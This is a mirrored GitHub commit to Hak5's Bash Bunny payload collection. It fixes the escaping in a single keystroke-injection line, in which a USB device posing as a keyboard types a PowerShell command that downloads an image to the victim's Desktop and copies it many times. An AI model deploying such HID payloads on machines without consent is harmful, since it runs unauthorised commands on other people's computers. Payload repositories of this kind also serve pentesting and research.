mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
so it actually works (#486)
I foolishly forgot to add a second backslash to $ImageName
This commit is contained in:
parent
f5292aa8ce
commit
fab1466896
@ -35,7 +35,7 @@ ATTACKMODE HID
|
||||
|
||||
LED Y
|
||||
|
||||
RUN WIN "cmd /c powershell \"curl $ImageLink -O C:\Users\%USERNAME%\Desktop\$ImageName.jpg;sleep 1;1..$Amount | % { copy-Item \"C:\Users\%USERNAME%\desktop\$ImageName.jpg\" \"C:\Users\%USERNAME%\desktop\$ImageName\$_.jpg\"}\""
|
||||
RUN WIN "cmd /c powershell \"curl $ImageLink -O C:\Users\%USERNAME%\Desktop\\$ImageName.jpg;sleep 1;1..$Amount | % { copy-Item \"C:\Users\%USERNAME%\desktop\\$ImageName.jpg\" \"C:\Users\%USERNAME%\desktop\\$ImageName\$_.jpg\"}\""
|
||||
|
||||
Q ENTER
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user